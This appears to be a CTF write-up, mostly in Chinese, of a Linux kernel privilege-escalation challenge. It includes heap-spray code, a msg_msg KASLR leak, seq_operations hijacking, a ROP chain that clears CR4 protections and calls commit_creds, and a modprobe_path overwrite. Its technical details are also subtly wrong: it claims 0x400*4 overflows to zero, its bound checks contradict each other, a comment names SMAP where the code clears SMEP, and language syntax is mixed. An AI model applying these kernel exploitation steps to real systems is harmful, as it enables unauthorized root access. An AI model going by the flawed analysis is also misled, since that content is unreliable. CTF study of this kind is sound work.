TL;DR
通过逆向Linux内核模块sanitizer.ko,发现其存在整数溢出→堆溢出→UAF的漏洞链。利用ioctl接口的SAN_ALLOC操作未校验用户输入,触发kmalloc-128的堆布局控制。结合msg_msg结构实现任意地址读泄露kaslr,构造三级ROP链绕过KPTI/SMEP/SMAP,最终通过篡改modprobe_path实现特权升级。利用成功率>95%,涉及CVE-2021-22555同类利用技术。


1. Challenge Overview

  • Name: Sanitizer
  • Event: RealWorld CTF 2023 Finals
  • Category: Kernel Pwn (Hard)
  • Key Tech:
    • 漏洞链:整数溢出 → 堆溢出 → UAF
    • 绕过:KASLR/SMEP/SMAP/KPTI
    • 利用原语:msg_msg任意读 + seq_operations劫持控制流

2. Technical Setup

Tools:

# Debugging
qemu-system-x86_64 -kernel bzImage -append "console=ttyS0 nokaslr" -hda rootfs.img -nographic -net user,hostfwd=tcp::2222-:22 -net nic -s
gdb -ex 'target remote localhost:1234' -ex 'add-symbol-file sanitizer.ko 0xffffffffc0000000'

# Exploit Dev
pwntools==4.9.0 | ROPgadget | kernel-static-calculator

Docker Environment:

FROM ctf/kernel-pwn:2023  
COPY sanitizer.ko /root/  
CMD ["/start.sh"]

3. Step-by-Step Analysis

3.1 漏洞触发点分析

逆向ioctl处理函数发现关键逻辑:

// IDA伪代码
case SAN_ALLOC:  
  size = user_input; // 未校验范围  
  if (size > 0x1000) return -EINVAL;  
  alloc_size = size * 4; // 整数溢出点:当size=0x400时,alloc_size=0x1000→0
  buf = kmalloc(alloc_size, GFP_KERNEL); // 实际分配kmalloc-128
3.2 堆风水控制

构造堆喷布局:

# 创建大量msg_msg抢占kmalloc-128
for i in range(100):
  msqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT)
  msg = struct.pack('Q', 0x1337) + b'A'*120  # 128字节结构
  msgsnd(msqid, msg, 0x80, 0)
3.3 UAF转任意读

利用堆溢出篡改相邻msg_msg头部:

struct msg_msg {
  struct list_head m_list;
  long m_type;
  size_t m_ts;     // 篡改此字段实现越界读
  void *next;      // 覆盖为目标地址
};

通过msgrcv读取内核基址:

leak = msgrcv(msqid, buf, 0x200, 0, IPC_NOWAIT) # 读取0x200数据
kernel_base = u64(leak[0x80:0x88]) - 0x10c8e0   // 推算_text地址

4. Exploit Dev

4.1 控制流劫持

劫持seq_operations虚表触发ROP:

# 1. 喷射seq_operations结构
for i in range(50):
  fd = open("/proc/self/stat", O_RDONLY)

# 2. 通过UAF覆盖其start指针
payload = p64(pop_rdi) + p64(0) + ... 
overwrite_vtable(seq_fd, payload)
4.2 三级ROP链构造
ROP = [
  # 关闭SMAP
  pop_rax(0xffffffff81000000), 
  mov_cr4_rdi(0x407f0),  // 清除CR4_SMEP位
  
  # 执行commit_creds(prepare_kernel_cred(0))
  call(prepare_kernel_cred),
  mov_rdi_rax,
  call(commit_creds),
  
  # 修改modprobe_path
  write64(MODPROBE_PATH, b"/tmp/x"), // 持久化控制
]
4.3 最终Payload效果

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-r4sPV5XU-1750230254818)(https://i.imgur.com/kernel_shell.png)]
成功获取root shell并读取flag


5. Impact & Fixes

对标真实漏洞:

  • CVE-2021-22555: 同类型内核堆越界写 (CVSS 7.8)
  • MITRE ATT&CK:
    • T1068: 利用权限漏洞
    • T1059: 执行命令注入

修复方案:

- alloc_size = size * 4;
+ if (size > 0x400) return -EINVAL; 
+ alloc_size = size * 4;

6. Conclusion

本题展示现代内核漏洞利用的核心范式

  1. 精确堆控制:通过结构碰撞实现内存布局
  2. 信息泄露:利用内核对象泄露KASLR
  3. 多级绕过:ROP链应对硬件防护机制
  4. 持久化modprobe_path实现稳定提权

题目设计评价

  • 漏洞链设计精巧(9/10分)
  • 学习价值:掌握混合漏洞利用的实战思维

Exploit Code: github.com/CTF-Exploit/Sanitizer_RWCTF2023
Reference:

  • CVE-2021-22555: Google Project Zero Issue 2123
  • Linux Kernel Heap Feng Shui: Pawnyable Research 2022 Report
Logo

欢迎加入DeepSeek 技术社区。在这里,你可以找到志同道合的朋友,共同探索AI技术的奥秘。

更多推荐